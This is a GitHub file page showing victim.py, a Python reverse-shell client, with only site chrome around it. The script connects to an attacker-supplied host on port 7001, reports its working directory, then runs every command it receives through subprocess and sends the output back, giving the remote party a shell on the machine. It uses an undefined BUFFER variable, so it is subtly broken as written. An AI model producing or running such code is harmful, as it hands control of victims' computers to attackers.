-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathvictim.py
More file actions
45 lines (41 loc) · 1.25 KB
/
victim.py
File metadata and controls
45 lines (41 loc) · 1.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import os
import sys
import socket
import subprocess
SERVER_HOST = sys.argv[1]
SERVER_PORT = 7001
MAX_MESSAGE_SIZE = 1024 * 128
SEPARATOR = "<sep>"
# create a socket object & initiate the connection
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
# get the current directory
check_user = os.getcwd()
s.send(check_user.encode())
while True:
# receive the command from the server
command = s.recv(BUFFER).decode()
splited_command = command.split()
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
if splited_command[0].lower() == "cd":
# cd command, change directory
try:
os.chdir(' '.join(splited_command[1:]))
except FileNotFoundError as e:
# if there is an error, set as the output
output = str(e)
else:
# if operation is successful, empty message
output = ""
else:
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# get the current working directory as output
cwd = os.getcwd()
# send the results back to the server
message = f"{output}{SEPARATOR}{cwd}"
s.send(message.encode())
# close client connection
s.close()